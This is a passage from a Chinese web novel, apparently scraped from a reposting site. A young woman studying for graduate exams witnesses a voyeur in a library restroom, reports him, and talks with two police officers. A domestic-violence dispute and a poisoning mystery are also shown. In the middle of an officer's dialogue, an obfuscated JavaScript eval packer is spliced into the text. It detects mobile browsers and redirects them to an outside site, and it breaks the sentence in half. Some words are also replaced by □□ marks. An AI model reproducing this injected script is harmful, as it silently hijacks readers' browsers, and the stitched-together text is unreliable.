虽然此刻于她而言,还很遥远,但只要一步一脚印,并不是什么难如登天的大事。 工作的这两年,她也曾尽心尽力拼搏过,只是,当下的销售工作,她越做就越发觉得自己不是干销售的料,就算努力做成了某件事,更多的感觉是精疲力尽,并没有多少喜悦和成就感。 而这种情况下,她并不觉得换个压力更大、奖罚赏明的公司就会改变,她只觉得那会让她更加焦虑。 机缘巧合,她前段时间和久未联系的大学舍友刘礼晨聊天,得知她在某初中当英语老师。 “你都不知道,现在的学生一点都不让人省心,一天天的,我头发都快掉光了。” 雎安安慰了她一阵,她又接着吐槽了不少奇葩的学生后,突然说到一件事,言语里满是欣慰和喜悦。 “我偷偷和你说,现在有得学生真的很坏,我们班上有个混社会的男生,拉另一个男生去游戏厅玩,结果那男生被人设计,被诬陷偷顾客东西,游戏厅那边的人还报了警。” “我吧,知道那男生家境好,嘴又笨,总是低着头,胆子很小,大概率不会这么做,就试着和他沟通了三次,还让他父母不要着急下定论。结果,他才终于肯开口说不是他,支支吾吾地说出他看到的全过程,其中就包括他看到他朋友拿金镯子和一个小麦色皮肤的健硕男人换了包粉。” 说到这,刘礼晨深吸一口气,“太可怕了,你都不知道,我当时吓一大跳,立刻告诉了警察。后来,那男生和他爸妈还来办公室谢了我很多次,说是小男生青春期不听父母的话,要不是我之前一直有在关心他低落的状态,提醒他,他的朋友品行很有问题,让他留个心眼,他才没有进食那个朋友给的任何食物。哎呀!你不知道,我当时突然觉得......呃,就是有种,幸好有我帮了他,是我改变了那男生命运轨迹的感觉。” “哈哈,虽然你可能觉得我是在夸大自己,但在那之后,我就对我的职业有了不同看法,老师这个职业还是挺有意义的。” 蓦地,雎安想到了装置里的邓玉瑛,想到了自己,想到了因邓玉瑛和后来诸多饱含善意的老师的指引而意识到自我的自己。 就是那一刻,她有了想法,有了确切的目标。 她要读研,她想当一名教师。 她很清楚老师这份职业会有很多琐碎的糟心事,接触形形色色的学生和家长会比完成教学任务还要艰巨。 可这世上能有几份工作是轻松愉快的?面前有一个自己向往、并且能让自己获得成就感和满足感的职业,又有什么理由不去试试呢? 她想,就算是南墙,那也得自己去撞撞。 中午十二点,天空乌云密布。 雎安收拾好桌面上的书籍,将其中一本教材和平板放进背包,走出房门和低着头看古玩介绍的父亲打了声招呼,就出门了。 她先是在家附近随便点了碗冬菇鲜肉云吞面饱腹,而后赶忙往图书馆去,一是想占个好座位,二是担心会下雨。 而她的运气还算不错。 窗外是随风摇曳的树叶,身侧有供平板充电的插座,不远处就有饮水机,拐两个小弯就是洗手间。 虽然座位是在三楼的廊道上,能隐约听见楼下儿童阅览器传出的吵闹声,但雎安还是感动满意,拿出湿纸巾擦拭桌面后,轻轻地把包放在桌面上。 考研的事,她没和任何人说,尤其是家里人。 买教材、刷网课、做笔记、查院校和导师信息,她做每件事都小心翼翼、如履薄冰,因为她不希望被家里人发现,不想被讽刺打击,所以只能偷偷摸摸地学。 等有成果的那天再分享喜悦,就可以了。 身处自习室的雎安抬起头,望着自习室里一个个低头奋斗的背影,又看了眼窗外飘动的闲云和树梢上悠然自得的小鸟。 她既喜欢这种有目标并为之努力的感觉,却又疲于生存在这种卷生卷死的环境下。 一声叹息后,雎安拧开水杯,想喝口水缓解嘴唇干涩,结果倒置半天都没水滴下来,才想起自己带的是空杯子,刚好吃饱后有些晕碳犯困,她翻出背包里的红茶包,撕开包装袋,走到饮水机那装了半杯水。 茶包放在热水中泡了半分钟,雎安也已经途径自己的座位,准备进洗手间里倒水。 洗茶是雎安的习惯,哪怕是茶包,她也会冲洗一次。 正值午休时间,走动的人很少,图书馆内一片寂静,偶有声响也十分微弱。所以哪怕是去洗手间,雎安都尽量不让自己发出过多的声响。 她先左拐走十米,再拐右走十米,看到洗手间门口的右侧摆放着两个垃圾桶,于是就走到可回收垃圾桶前,将手中的茶袋扔了下去。 由于茶包的包装袋没什么重量,脱手以后,她饶有兴致地看着茶袋在空中飘啊飘,慢慢地飘到桶底后躺下,与那些被秋风吹落的树叶有着相似的舞姿。 果然,人在学习的时候,看什么都是有趣的。 雎安无奈地挑了挑眉,拿着水杯转身踏进洗手间。 一个白色的身影就这样出现在她的视线内,只是,那个身影是趴在地上的,而且在不停扭动着身体,像是在调整视线。 此时,雎安还没反应过来,“你在干嘛啊?” 听到背后有声音传来,男子飞快地从地上蹦起,在雎安愣神之际,猛地往外冲,直接撞开她跑了出去。 突如其来的撞击让没有防备的雎安后背扎实地撞到了门沿,且视线阴差阳错的对着男子离开的方向,她不自觉地发出一声吃痛声,手却紧紧抓着水杯,一直维持着刚进洗手间时的动作,仿佛被定住般动弹不得。 怎么会这么倒霉? 这种出现在新闻里出现的事情,怎么会在市隶图书馆被她撞见?! 雎安双唇微启,眉心紧蹙,不可置信的情绪和后背传来的疼痛让她紧张不安,握着水杯的手竟开始微微打颤。 她木然地走到水池边,扭头去看左边的第一个隔间。 那里的女生,就是被偷窥的受害者,完全不知道自己经历了什么。 而她可以选择告诉她,也可以选择不告诉她,抽身离开。 这件事的走向,有得选,且取决于她。 雎安是很怕做选择的人,尤其是做两难的选择。 如果她告诉那女生,那女生以后上厕所都可能会有心理阴影,她未必是在帮那女生。可她要是不告诉那女生,心里又会不安,也不知道那变态会不会继续来这蹲守,祸害下一个女生。 “啪嗒”一声,隔间的女生出来了,雎安却在声音响起的瞬间,快步离开了洗手间。 她木然的呆坐在座位上,眼睛看着拐角的方向,不经意地看了眼桌面,才发现手心的茶水滴落在书上形成了茶褐色的水渍。 她觉得她要考虑清楚再做决定,可她又知道她不能磨叽,于是,她的内心愈加矛盾。 十分钟过去,雎安始终没看到有任何一个女生出现在拐角处。 难不成她坐电梯下楼了吗? 雎安下意识地摸了摸手腕处的红绳,内心的躁动不安无法被平息。 “雎安,你之前说好吃的泰餐在哪里啊?我下周要请我哥和他朋友吃顿饭,他们都很挑剔,你要是能多推荐几家餐厅给我就更好啦!” 沈薇的信息弹出,雎安将食指放在屏幕上解锁,读完信息后,直接无视了沈薇的问题,快速地在手机屏幕上敲击文字。 “沈薇,我刚刚在洗手间撞见一个变态在偷窥女生上厕所!” 屏幕另一端的沈薇将这行字来回看了几遍,才不可置信的回复雎安,“不会吧?!你现在没事吧?” “我没事,幸好是在图书馆撞见的,这里有不少工作人员。” “那你报警了吗?” 雎安第二次想到“报警”时,只觉喉咙发紧。 没错,她迟疑了。 这次毕竟和公交车那次不同,虽然那次发声被俩老人针对,但那是在大庭广众之下,被人群环绕着的她,有种背后有人撑腰的安全感。 可现在,只有她一个人,就算她把那女生拉进来,也不过是两个人。 再来,一想到报警后,她很可能会在派出所对上那男生阴沉的脸和瞪人时的透着戾气的眼睛......雎安闭上眼,确信自己的内心在抵触这件事的发生。 或许旁观者会觉得,不就是个偷窥男吗?又不是连环杀人犯,为什么报个警还要犹豫? 确实,如若不是撞上这种事的不是自己,雎安也会发出相同的疑问。 当帮助他人有可能危及自身且无法带来利益的时候,当身边没有人支持和撑腰的时候,她可悲地发现自己根本没有那么勇敢,没有了阅读新闻时的义愤填膺,更没有了敲击键盘时的慷慨激昂,而是会呆愣、会退缩、会逃离、会后怕,会考虑要不算了吧。 闭眼再睁眼,雎安抬头时,碰巧看见从阅览室抱着文件袋经过的工作人员,心中突然有了主意,深吸一口气后,还是决心向前。 “你好。”雎安叫住工作人员。 工作人员语气平平,公式化的应答:“你好,请问有什么事吗?” 雎安靠近了些,压低声音道:“我刚刚在洗手间,看见一个男生趴在地上偷窥。” “什么?”工作人员顿时皱起眉头,“你确定你看到的是成年男性吗?” 雎安不明白她为何这么问。 工作人员见她疑惑,随即解释道:“因为来图书馆的儿童很多,偶尔会有儿童趴在地上找妈妈,就会吓到其他隔间的女生。” 雎安静默了会儿,回答道:“我确定偷窥者是成年男性,因为他逃跑的时候撞到我了。这毕竟是市立图书馆,你们看看怎么处理吧。” 闻言,工作人员意识到事情的严重性,她让雎安在座位上稍等,现在就去报告馆长。 馆长是一个些微秃顶的中年男人,书香气十足,像是时常会洗练笔墨的儒雅文人。他从电梯间出来的时候,先是主动朝雎安问好,再来便是强 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“我是。”雎安察觉到不断有人投来好奇的目光,遂将声音压得很低。 他瞟了眼她垫在手肘下的《考研英语真题实练》,虽然有时常翻阅的痕迹,但此刻并没有打开,“打算考研?” 发现他在观察自己,雎安有些不自在,下意识地用手肘遮盖书籍封面,“没什么,就是随便看看。” 他当然能察觉到雎安的拘谨和周边投来的若有似无的好奇目光,于是说道:“得麻烦你出来一下,我们去后边的走廊,那没人。” “好。”话音刚落,雎安拿上手机,跟着他走出去。 图书馆外廊的透明窗被雨水不停拍打,视线受阻,眼前的街道被分割得支离破碎。 周浮沉在窗前站定,雎安透过玻璃窗和他对视,终于看清了他的五官。 虽然他看着比她大不了几岁,不像是经验老道的警察,但他长得十分正气,尤其是那对英气的剑眉,让他气场骤增,眉宇间自带不怒自威的气息,加上身高突出,身形修长挺括,腰板直挺,在灰蒙蒙的背景衬托下,很有压迫感,让人望而生畏。 周浮沉转身,定定地看着雎安,说话的声音中气十足:“我们已经来了一段时间,先去查了监控,发现嫌疑人出来后就一直躲在四楼,刚刚我同事已经先把他带回派出所了。还有同事在看监控找受害人,可能还得花点不少时间,需要麻烦你再等等。晚点弄好了,我们开车带你去派出所做笔录。” 从事情发生到警察抓人至少过去了四十分钟,那他就是根本没打算离开图书馆了。 雎安听到偷窥男子一直躲在四楼的时候,宛如晴天霹雳。 不知是否是她的恐惧作祟,她的脑海中浮现出一双眼睛,那双眼睛死死盯着她,眼神锐利如刀、冰冷刺骨。 周浮沉看出她的怔忪,语气柔和了许多,“不用怕,我们已经抓到他了。待会我再来找你了解详细情况,你先把电话号码告诉我。” “电话?”雎安愣住。 周浮沉没明说,他觉得眼前的女生有些胆小、很可能会临阵脱逃,预想留个电话,可以省去不少麻烦。 毕竟女厕所里没有监控,那名男子如果是惯犯,怕是会咬死自己只是进错洗手间。 这种情况下,眼前女生的证词便尤为关键。 “对,方便我们联系你。” 雎安有些迟疑地报了电话,周浮沉输入手机后摁下拨号键,确认雎安的手机响起,才朝她点了点头,“谢谢配合。” “浮沉。”馆长从电梯间走出来,一眼便锁定了显眼的深蓝,顺带还朝身边的雎安笑了笑,道:“你师傅让你去监控室,说是找到受害人了。” 话音刚落,周浮沉朝雎安点头,示意他先和馆长去处理些事情。 “等等!请问你叫什么名字?”眼见着他就要消失在视线内的时候,雎安叫住了他,一并举起手机。 屏幕上是一串没有署名的号码。 “我想备注一下。最近诈骗电话太多,我怕误挂了你的电话。” 周浮沉已经走进电梯间,在里边站定,一个废字都没多说,“周浮沉。” 随即,电梯门关上。 雎安的脑海被新获得的两个关键信息占据,回到座位后,心神不宁地望着自习室内奋笔疾书的人们,想借此来鼓励和放空自己,但她越是想放松下来,精神就越是紧绷。 宋教授和她说,她脑中那些奇怪的记忆只是因为意识错乱引起的,不是大问题。 可现在发生的这一切,现实的走向似乎是在朝着她脑中那些记忆发展。 这是不是意味着......那是未来,而她以后真的会杀人? 思及此,雎安焦躁地无法安坐,站起身来活动,倏地一个趔趄,才发现双腿有些发软。 她弯下腰轻轻捶了捶腿,更像是在安抚自己,起身时无意瞥见一个空隙,透过那,能看见四楼墙壁上的壁画。鬼使神差的,她往视线所及之处走去,旁若无人的从三楼上到四楼的工作人员办公区。 楼梯是旋转加镂空的设计,她在四楼的诸多角落中选择了那个最靠近她座位的角落蹲下,眼睛透过缝隙往下窥探,可以清楚地看到她的座位。 22. 小姑娘一直在偷瞄你。 雎安带着周浮沉和馆长来到案发现场,可这毕竟是女厕,周浮沉和馆长多有不便。 周浮沉看了眼左右两侧的监控,对雎安道:“麻烦你进去,先把里边的人都叫出来。” 雎安应好,进去确认隔间里没有人后,走到门口朝他们招手道:“厕所里没人,进来吧。” 周浮沉这才举起手机进来,将雎安简述中提到的地方一一拍下,同时示意雎安指出她所看到的男子当时趴着的位置。 雎安毫不犹豫地走到左边第一个隔间,道:“就是这,他趴在这的地上。” 周浮沉微不可察地皱了皱眉,“确定吗?” “确定。” “但是…...”周浮放下手机,停顿了会儿,“嫌疑说他看的是右边第一间。” “不可能。”雎安不加思索的否定,“别的我还不敢说这么绝对,但他当时趴在哪,我记得很清楚。因为他跑出去的时候还撞到我了,我就站在靠近垃圾桶的那边,如果他是从右边过来的,不可能只撞到我左边身体的一小部分,而是会撞到我整个人。” 周浮沉追问:“所以他全程都是背对着你的,你没看到脸,是吗?” 雎安转动眼睛,仔细回忆当时的场景,“他听到我的声音以后就从地上蹦了起来,速度非常快,冲出去的时候,撞到了我的左肩,我就顺势倒在了右边的门沿上。” 说着,雎安不自觉地摸了摸自己的左肩,道:“当时我正对着他离开的方向,他跑到拐角的时候,回头看了我一眼。” “他有和你说话吗?威胁之类的。” “没有。” “刚刚你和我说过,你是先在门口扔了垃圾再进洗手间的。正常来说,你走路和扔垃圾都会有声音,对吧?” “可我扔的是茶包袋,那东西很轻,飘下去的时候根本没有声音。至于走路声…...”雎安停顿了会儿,“我走路本来就轻,之前还因为这个吓过人。” “好。”语毕,周浮沉退到女厕门口,举着手机道:“麻烦你指出嫌疑男子趴着的方位,我需要拍照留存。” 雎安有些慌神,“要把我也拍进去吗?” 周浮沉点头,没有任何多余的情绪表露,“是,当然得拍到你。” 一直在旁边看着的馆长察觉出雎安的担忧,“放心,照片是不会让犯人看到的。” 雎安只能说好。 她没做过证人,把这件事想得过于简单了,以为是去派出所火速录份口供就行。 之后,她再一次回到座位上,在等待后配合、配合再等待的循环中,终于再一次等到周浮沉,“馆长,那这边就差不多了。我得带邹小姐去派出所做笔录。” 馆长的身高有限,拍了拍周浮沉的手臂,语重心长地道:“辛苦你和川亮了,这次证据齐全的话,最好能严惩。我们这毕竟是市立图书馆,影响很不好。” 周浮沉点头,“放心吧,我们会认真处理。” 雎安跟在他们身后观察,发现周浮沉这人倒不是针对谁,而是对谁都冷。 这种冷和宋挚的给人的感觉很不同,宋挚的冷只是对陌生人的正常防备,而周浮沉的冷更像是是透进骨子里的,即便在他面带笑容的时候也不例外,总是一副冷静自持、正义凛然的模样,给她一种馆长在求他办事的错觉。 一看就是很难接触的类型,戒备心也非常得强,雎安想象自己和他共处一室的画面,有点......诡异。 “师傅,这位就是目击证人,邹雎安,邹小姐。” 周浮沉带雎安来到地下停车场,突然指了指雎安,和一个中年男人说话。 雎安好奇地望过去,看到一个身材魁梧的男子,约莫四十的年纪,与周浮沉一般高,是个相当“方正的人”。脸很方,肩膀更是方方的直角。 她还是第一次在现实中看见这种长相和身材的男人,为了不失礼,努力控制着自己的表情和视线。 而陈川亮关注到的,却是在周浮沉开口介绍前,雎安总是打量周浮沉的小表情。 和一些女生表露出的欣赏爱慕之情不同,她的打量除了好奇,更多的是不解和难以置信。 “你们认识?”陈川亮随口一问。 周浮沉脚步一顿,“刚认识,算认识吗?” “嗯?这样啊。” 答案出乎意料,他以为两人会是老同学之类的关系。 陈川亮倒不是八卦,只是觉得雎安表露出的情绪有些古怪,出于职业本能,会想弄清楚。 作为警察,敏感机警总好过呆滞愚钝。 陈川亮示意周浮沉将雎安带到警车的后排座,自己也随之落座,“你好,我叫陈川亮。” 虽然两人中间隔着一个大空位,雎安仍拘谨地贴着车门落座,“您好。” 随后,陈川亮把钥匙递给周浮沉,周浮沉接过钥匙,动作干净利落的启动警车。 “第一次坐警车吧?”陈川亮面上带笑,姿态放松,不像周浮沉那样板着身子,给了雎安还算亲和的初印象。 “是。”雎安抿了抿嘴,因为没想到陈川亮会坐到后排来,紧张得无意识地抓紧了帆布包的包带。 “有些害怕?” “是。”雎安如实回答。 她本就受到了惊,去图书馆四楼走了一圈后,直接由惊吓变成了惊恐。 她只是个普通人,自保能力有限,会怕受到变态的关注,更怕遭到变态的报复,偏她看过很多类似案件的报道,知道偷窥的性质并不严重,至少放在一众大小案件里,警察都不会太重视,最多就是罚点款、拘几天。 这点惩罚,可能还没有给她的心理阴影来得重。 而她也很清楚,会用上“惊恐”二字来形容来自己当下的感受,绝不仅仅是因为那个变态。可以说,是周浮沉的出现加剧了她的不安,让她对未知的未来产生了深深的恐惧。 一想到自己有可能年纪轻轻就杀了人,大好的年华要在监狱里度过,她就控制不住地皱眉,牙齿也在用力咬合,整个人都十分紧绷。 一旁的陈川亮可不知道这么多,他只看见雎安面白如纸、一副被吓破了胆的模样,猜想小姑娘社会关系单纯、没经历过什么风浪,故而出声安慰道:“不用怕,你现在很安全。” 这句话对雎安来说并没有什么作用,只让她觉得陈川亮算是个温柔且有共情力的人。 “其实在现实中,自身受到侵害或目睹他人受到侵害却选择不报警的人有很多,他们要么是因为害怕,要么就是怕麻烦,要么就是觉得与己无关。你能选择告知工作人员,做得很好,也很正确。” 陈川亮收敛起笑容,语气变得有些严肃,“在抓捕了嫌疑人之后,这件事基本在图书馆内部传遍了。在寻找受害者的过程中,我观察到有五个工作人员的反应有些奇怪,我就去一一询问。结果,除去表情闪躲、怎么都不愿意说的两个人,其余三人和我说,她们可能曾遭到偷窥。而这三人中有一人,她说她有次工作很忙,穿的是裙子,上完厕所后很快就推开门,迎面撞上了嫌疑人。我说这就不是可能了,而是绝对。我问她为什么不报警,她低着头,没有回答我。” “所以......”陈川亮声音变得温和了许多,“你会被吓到、会害怕都很正常,你没有选择视而不见、置身事外,已经比多数人都要勇敢。” 因为陈川亮的话,雎安眼含期待地看向他,“那她们这次会作证吗?” 陈川亮无奈地摇摇头,“有说觉得没必要的,有说怕声誉受损的。” 雎安难掩失落,不自觉地摸了摸手腕处的红绳,答道:“也是。” “举报违法犯罪是公民的权利,也是义务。”前排的周浮沉冷不丁的插了句话,公式化的语气让雎安以为是什么人在背书,“这种人,往往是越纵容,就越嚣张。” 陈川亮无视他,接着说道:“我从警也有二十几年了,一想到前几年那件小车司机□□案,还是很感慨。你应该听过吧?就是一辆小车的司机□□了四百多名女性的案件,当时可是震惊全国的大案。” “四百多名?!”雎安没忍住,惊呼出声,“我怎么......好像没印象。” “当时有一名女性怀疑自己在车上受到了性侵害,报警后,我们去到现场调查取证,而我们在嫌疑人手机里发现了大量的不雅视频。他谎称,说那些女人都是他约来的人。我们在认真勘查后,发现视频里的女性都是在意识不清的情况下被拍的视频,而他必定是在狡辩说谎。之后,我们花了一个多月取证,确定受害名女性多达四百余人。这么多人,此前竟然没有人选择报案。” “而其中年龄最小的妹妹,只有14岁。” 雎安张着嘴,却没有发出任何声音,耳边却似有狂风在怒吼。 “涉及到对未成年人的□□,性质就更加严重了。我们想找到女孩和她的家人了解情况的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15932446|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现女生已经抑郁自杀,而她妈妈在我们交谈的过程中频繁的情绪失控。” 说到这,陈川亮不自觉地叹了口气,“后来我们调查发现,这位妈妈和女儿都是事件的受害者。而这位妈妈的视频拍摄于她女儿受害前的一星期,如果她及时报警的话,是可以避免悲剧发生的。我想,新闻曝光以后,她很可能就已经猜到了,所以原谅不了自己。” 听罢,雎安吃惊地用手捂住了自己的口鼻。 “那个司机拍摄视频的频次规律,一开始或许仍有顾忌,每星期拍一两次。后来的他,甚至敢一天拍两次。”陈川亮举起手,比了个V,同时道:“当证据摆在他家人面前时,他妻子还无法接受,一直在派出所闹,说他是脾气又好、胆子又小的老实人,平日里待她和女儿都很好,一定是被什么人诬陷了。” 图书馆距离派出所并不远,但一路大风大雨,陈川亮的宽慰话也没说完,周浮沉便刻意放慢车速,让小车多等了两个红绿灯。 “所以,不报警、不作为未必就能保全自己。今天这个嫌疑人也是,数次被撞见、被怀疑都没事,再纵容下去,他很可能会加大砝码、变本加厉。当有更多的人选择对所见所闻的犯罪事实闭口不提时,某个人受害的几率其实是在增加的。” “而这某个人,可以是任何人。” 雎安明白陈川亮的意思,他是让她不要怀疑自己的选择,想说她告知工作人员的做法是正确的。 透过后视镜,周浮沉观察到雎安的面上仍然毫无血色,但她和师傅道谢时,原先紧绷的身体已经放松了不少,不再紧贴着车门,手也不再紧抓着包带,而是自然地落在了大腿上。 很明显,安慰是有作用的。 “待会录完笔录,你就能回家了,之后好好睡个觉,心慌的感觉就会消失。” 雎安有些讶异,因为她并没有说过自己有心慌的感觉,但陈川亮一副颇有经验的模样,像是个能一眼正中病因的老中医,信心十足地开出质朴却有效的药方。 车辆抵达华州市天心街道派出所,谈话结束。 周浮沉一边停车,一边提醒道:“近期还是别去图书馆了,找家自习室学吧。” 闻言,陈川亮斜他一眼,转头让雎安先去大厅坐着等候。 雎安照做,右手推开车门,左手护着头,倏地冲进了雨幕,消失在他们的视线之内。 陈川亮这才开口道:“小姑娘一直在偷瞄你。” 周浮沉想起前段时间师傅笑嘻嘻地说要介绍对象给他,以为他又操起了长辈的心,故而冷着脸道:“师傅,我们在办案,别开玩笑。” 嗯? 陈川亮本来没有调侃的意思,他是想告诉周浮沉,那姑娘总是以一种奇怪的神情在偷瞄你,又不像是对你有爱慕之情,你最好留个心眼。 可周浮沉一脸严肃切语气生硬,他倒突然有了调侃的兴致,“我可没开玩笑,是你师父我亲眼所见,现在只是在论述事实而已。哈哈,别害羞啊~” 语毕,陈川亮拍拍周浮沉的手臂,脚步轻快地跑进了派出所,只留了个背影给周浮沉。 周浮沉眉头极轻地皱了一下,很快就跟了上去。 下午三点,派出所大厅里人头攥动、格外嘈杂。 有人在大声争吵,有人在小声议论,有人愤怒,有人嬉笑。而大多数人,只是面无表情的坐着等候。 周浮沉早已习以为常,和往常一样,面无表情的穿过人群,若非手机响起,必定不会停下脚步。 他从口袋里摸出手机,看到来电人是宋挚的时候,面上是毫不掩饰的讶异。 自从阿姨出事以后,宋挚从来没有主动联系过他,都是他主动拉宋挚出来谈心,而他工作繁忙,他们已经有两个多月没有联系了。 这通电话,他再忙也得接。 握着手机的左手稍一倾斜,他用大拇指划下了接听键,然而,在屏幕骤然暗下的几秒钟内,他看到并同时感受到了一个探究打量的目光。 那目光太直接,让他无法忽视。 他眉头轻皱,转过头,垂眸望向她。而她,在他的视线触到她之前,就以一副看戏的表情望向侧边跪下来求妻子原谅的丈夫。 原先在车上,他一直以为她是因为不安才四处乱瞟。 现在看来...... 此时,听筒里传出宋挚的声音,周浮沉将手机放到耳边,快步离开了喧闹的办案大厅。 23. 纸顺笔利、皆是好运 晋江文学城 先是大学生□□被骗学费,再是酗酒男子砸车后跪求卡宴车主的原谅。 雎安晃了晃腿,不知是不是办案大厅给她喂了太多瓜,竟让她有了神奇的饱腹感。 她摇头晃脑地左右看,看见陈川亮握着手机、往审讯室疾步走去。 不久后,周浮沉也进来了,他目不斜视地往前走,步子迈得很大,像是有急事的样子。 雎安强忍着好奇心,让自己的目光不要落在他身上,可他却突然停下脚步,在她的斜前方站定。 到底是没忍住,她先是用余光瞄了一眼,在看到他面露惊诧的时候,顺着他的目光望去,正好看到他手机屏幕上的来电显示人是宋挚。 宋挚,周浮沉,再加上她。 即便宋挚不在现场,不过是一个名字而已,她的脑海却像是不受控的台风路径般,自动跳出那段让她脚趾抠地的画面和对话,臊得她即刻别过头去,生怕自己的异样会被人察觉。 “老婆,对不起,我下次再也不会了。” 啪一声,响亮的巴掌声吸引了雎安的注意。 她顺势看去,发现脸上有指印的人竟是汤尊,而站在他面前一动不动的人正是童敏。 他们站在调解室门口,身后还跟着两名民警。 “你别假惺惺了!”童敏冷笑一声,语气生冷,“这些年来,我一直在忍你。冷暴力就算了,小打小伤我也想着算了,可后来呢?我越是忍让,你就越欺负我,不高兴了就给我一巴掌,还对我拳打脚踢!刚刚在调解室里,你不都还狂得很吗?现在当着这么多人的面就装孙子,故意扇自己巴掌,演一场忏悔好男人的戏码,有意思吗?” 闻言,汤尊却是又给了自己一巴掌,以极其委屈的表情,哭着控诉道:“对不起对不起,都是因为大环境不好,我工作压力大,怕被裁员,才会一时控制不住情绪。可是......你想想,我们刚结婚那会儿,不都好好的吗?那时候你没工作,是我赚钱养的你啊。没错,你是把家里顾得很好,可现在你搞擦边赚了点钱就想把我给甩了。我也是被你给气昏了头才……才动手的。” 搞擦边? 大厅里看戏的人即刻向童敏投以鄙夷的目光,只有雎安脸色蓦地沉下来,目含愤怒地瞪着汤尊。 她算得上是童敏的粉丝,她知道童敏在拍视频的时候很注重衣着打扮,更知道她的视频绝对扯不上“擦边”二字。 童敏自己曾在视频里说过,她结婚后不久就怀了孕,被困在家里的她爱上了料理,带娃的时候研制了很多新式菜肴,但做给家人的菜肴再美味,他们却只觉得是理所当然,还觉得她整日无所事事、没有价值。 后来等孩子大了,她的厨艺也越来越好,有一天碰巧刷到网上有很多料理视频,兴致勃勃地学着拍摄上传,原本只是为了从陌生人那获得些鼓励和认可,谁知她的视频在半年内受到越来越多人的关注,收入也在不断上涨。 就是从那时候起,童敏说她终于不再把全部精力都放在家人和家人的认可上,终于感受到了自身的价值,开始注重自身的感受。 “擦边?我做美食博主怎么就成擦边了?” 童敏一副早知道汤尊会给她泼脏水的模样,又愤怒又失望地说道:“我只是不再愿意做灰头土脸的黄脸婆,用自己赚来的钱捯饬自己而已,我看你是看擦边看多了,把脑子看傻了吧?” “之前你说你工作辛苦、养家负担重,我就没敢给女儿报辅导班,每天都是我包揽下所有家务和教辅楚楚的任务,再苦再累我都忍了,因为我心痛你的不容易。可有一次我爸扭伤脚,我回家照顾我爸,让你帮忙辅导女儿的作业,结果女儿说你一晚上都抱着手机笑眯眯地看一个阿姨摸胸扭屁股。” 说着,童敏一把甩开汤尊扯着她的手,“你知道我有多心寒吗?自从嫁给你以后,你总在我面前说赚钱不易,说我伸手拿钱不知辛劳,我连逢年过节买件一百块的衣服都很有负罪感。所以我拍视频赚到钱后很开心,很兴奋地和你分享喜悦,我想让你知道你的妻子是个有能力的人。结果你呢?直接甩脸说我这样会照顾不好楚楚,说以后要是楚楚学坏了就是我的责任,指责我花我自己赚来的钱,还伙同你爸妈到处污蔑我是擦边女主播,想让亲戚好友都来指责我,好让我一直给你们家吸血!” “你怎么可以这样说爸妈?”汤尊倏地站起身,极具压迫感地逼近童敏,气冲冲地道:“爸妈难道没帮你带楚楚吗?你讲话怎么这么没良心?!” “帮我带楚楚?”童敏手指着自己,瞋目切齿道:“楚楚是不是姓汤?她是不是你的孩子?汤尊,这么多年了,以前我在家任劳任怨,你看不到我的付出。如今我赚的钱比你多,你就贬低和丑化我的努力。你才是最没良心的人!” 兴许是没想到今天的童敏这么硬气,兴许是感受到了众人不屑的目光,汤尊脸色铁青,用力地咬紧了后槽牙。 而雎安,就在一旁目不转睛地看着这场闹剧,看着汤尊吃瘪地低头,看着他在破防后恶语相加,看着警察将他俩拉进了调解室。 她想,如果她在装置里看到的过去能与现实对应。那便说明,七年前她所看到的童敏手臂上的伤是汤尊造成的。 也就是说,少说在七年前,他就已经开始对童敏施加暴力! 想到这,雎安后背一凉,祈祷童敏能早点摆脱汤尊。 毕竟像汤尊那种人,流的泪也只是鳄鱼的眼泪,那被阴影遮盖的眸底说不定早已是凶光毕露。 闹剧散场,人群散去。 雎安突然想起还有周浮沉的存在,她转头看向他原先站定的位置,那早已没了人影。 ———— “那你知道是谁寄给你的吗?”周浮沉在走廊尽头站定,表情有些凝重。 “不知道。”宋挚看着寄件人信息那一栏,“名字是黄文武,也没有号码显示。” 黄文武?那不就是黄斌吗? 周浮沉目光深沉地望向窗外,故意问道,“你知道黄文武是谁吗?” 宋挚应道:“不知道,但我知道黄斌是把发酵粉换成碳酸钡粉使用的面点师傅,也是毒害我妈的人。” “黄斌二月下旬被抓的,最终判三缓三,现在在华州财经附近的一家汤粉店做工,快递有可能是他发的。” 周浮沉想起几个月前,他帮宋挚查到的关于黄斌的信息,出声提醒道:“毕竟他之前被抓的时候一直喊冤,有可能是他想让你帮他洗脱冤屈,也有可能是其他人故意引导你往阿姨的案件去想,想让你去查清碳酸钡中毒案的真相。所以,现在最关键的是要找到寄件人。” “嗯,我知道。”宋挚坐在客厅的沙发上,室内没有开灯,整个人都隐匿在阴影中,“只不过,我这看不到寄件人的真实信息,但是快递公司可以,我打算去驿站查,一并问清楚寄件地址和寄件人。” 周浮沉从玻璃窗里看到路过的同时,声音又压低了几分,“好,你先去查。我下周一就要去市局报道了,所里还有案子没处理完,时间有限。如果你查不到或者遇到对方不配合的情况,就打电话给我,我会尽快抽时间过去。反正,如果阿姨的案件真的有隐情,我一定会申请重新侦查。” 自从母亲出事后,周浮沉作为他从小玩到大的朋友,总会关心他的近况、照顾他的感受,而他却对他的近况一无所知,最近还因为一个陌生女人说的莫名其妙的话,而对他心存嫌隙,现在却要他在百忙之中抽空来帮他调查案子。 “好的,浮沉,谢谢你。” 宋挚道完谢,心里突然对自己生出一丝厌恶。 “不用,查清楚案子本来就是我的本职工作。” 不远处,陈川亮绷着脸,招手示意周浮沉赶快过去,周浮沉比了个OK,语速快了很多,“总之,有情况你就微信发我,紧急情况就打我电话,打不通就一直打。如果遇到不对劲的人和事,一定不要莽撞。那个发件人既然能拿到你的地址和号码,很有可能是你身边的人,你要多留个心眼。” “嗯,我会的。”宋挚刚应完,电话那头就传来了忙音。 通话结束得太过突然,他一时之间还没反应过来,茫然地看眼桌面上的防晒霜,又看眼手中倏地息屏的手机,索性躺倒在沙发上,盯着白茫茫的天花板,开始了新一轮的思考。 而另一边的雎安正经历着漫长的等待。 